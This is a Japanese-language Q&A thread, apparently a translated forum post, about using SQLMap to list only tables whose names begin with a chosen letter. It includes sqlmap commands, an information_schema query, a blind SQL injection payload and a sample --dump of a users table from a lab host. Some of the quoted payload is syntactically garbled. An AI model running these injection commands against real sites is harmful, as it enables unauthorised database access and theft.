SQLMapのコマンドについて教えてください。これにより、特殊文字で始まるテーブルのみを取得できます。文字「T」の例:
sqlmap.py -u www.website -D database -T tables (...)
SQLMapはこれをネイティブにサポートしていません。ただし、必要なものを正確に取得する独自のクエリを作成できます。 --sql-Shellパラメーターを確認する必要があります。シェルコマンドがポップアップ表示されます。そのシェルに入力するすべてのクエリは、SQLインジェクション攻撃によって実行されます。
次のクエリを使用できます。 「w」で始まるテーブル名を取得します
SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';
実際、上記のクエリはネイティブSQLMapペイロードとほとんど同じです。たとえば、SQLMapはブラインドSQLインジェクションに次のペイロードを使用します。
' AND SUBSTRING('SELECT version()', 1,1)
このペイロードでSQLMapは、SQLMap xmlファイル内で事前定義されているSELECT version();クエリの結果を取得しようとします。このクエリは--sql-Shellコマンドで更新しています。端末に渡すすべての「通常の」データベースクエリは、SELECT version();に置き換えられます。
' AND SUBSTRING('SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';', 1,1)
カスタムクエリに問題がなければ、SQLインジェクションメカニズムの残りの部分に問題はありません。
この場合、2つの選択肢があると思います。
シェルスクリプト内でsqlmapを使用してテーブルを一覧表示し、それらの結果を保存して、sqlmapへの連続した呼び出しで繰り返すことができます。
Sqlmapを使用して、指定したSQLクエリを--sql-queryオプションで実行できます。
次のように、ツールが希望どおりに実行できるとは思いません。
sqlmap.py -u www.website -D database -T "t*"
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+